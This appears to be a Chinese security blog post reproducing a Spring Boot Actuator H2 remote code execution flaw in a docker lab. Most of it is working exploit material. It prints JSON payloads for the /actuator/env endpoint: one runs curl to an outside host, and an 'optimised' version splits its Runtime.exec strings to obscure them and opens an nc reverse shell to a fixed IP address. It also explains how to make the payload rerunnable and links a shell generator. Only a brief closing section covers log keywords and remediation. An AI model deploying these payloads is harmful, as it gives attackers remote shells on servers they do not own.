Spring Boot Actuator H2 远程代码执行漏洞复现 & POC优化解决命令执行报错

Spring Boot Actuator H2 远程代码执行漏洞复现 & POC优化解决命令执行报错

漏洞简述

Actutator是spring一个生产环境部署时可使用的功能,用来监控和管理应用程序。支持选择HTTP Endpoints 或者JMX的方式来访问,同样支持查看应用程序的Auding,health和metrics信息。

漏洞利用条件

  • Spring Boot Actuator配置不当暴露/actuator/env 等接口
  • 使用HikariCP(H2)数据库

漏洞环境搭建

使用github上的docker漏洞镜像。

git clone https://github.com/spaceraccoon/spring-boot-actuator-h2-rce.git
cd spring-boot-actuator-h2-rce
docker build -t spaceraccoon/spring-boot-rce-lab .
docker run -p 8080:8080 --name lab --rm  -t  spaceraccoon/spring-boot-rce-lab 
http://vul.zgao.top:8080/actuator

漏洞复现

先来看下网上用的最多的一段POC。

接口:/actuator/env

网上这个poc不稳定,执行反弹shell和部分命令会失败。这里的坑踩了很多次!!!后面会单独分析。

{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}'; CALL EXEC('curl zgao.xyz:1234/success');"}

接口:/actuator/restart,post一个空的json。

{}

命令执行成功。

payload存在的一些问题

网上提供的payload并不稳定,简单分析一下存在两个问题。

  1. payload执行第二次会报错退出容器。
  2. 无法执行带特殊字符的命令或者执行反弹shell。

先分析第一个问题。由于要restart才能执行一次命令。这里第二次请求接口。

此时已退出容器,往上查看堆栈报错。

执行的sql语句中,exec这个别名已经存在又再次创建导致报错。

所以把poc中的CREATE ALIAS EXEC AS换成CREATE ALIAS IF NOT EXISTS EXEC AS即可。

第二个问题,上面的poc无法反弹shell。这个和java.runtime.exec 命令执行有关,网上有很多介绍的文章。

优化后的payload

最终优化后的POC如下换成下面的poc就能同时解决上面的两个问题。

可以使用 https://zgao.top/reverse-shell/ 生成payload。

{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS IF NOT EXISTS EXEC AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL EXEC('/bin/sh','-c','rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 43.155.67.230 1234 >/tmp/f');"}

反弹shell执行成功。

溯源排查

用docker logs 可查看控制台日志。但没有记录请求ip。

排查关键词:exec,dispatcherServlet

修复方式

不要暴露端点,默认是只能访问到healthinfo端点。

赞赏

微信赞赏支付宝赞赏

Zgao

愿有一日,安全圈的师傅们都能用上Zgao写的工具。

发表评论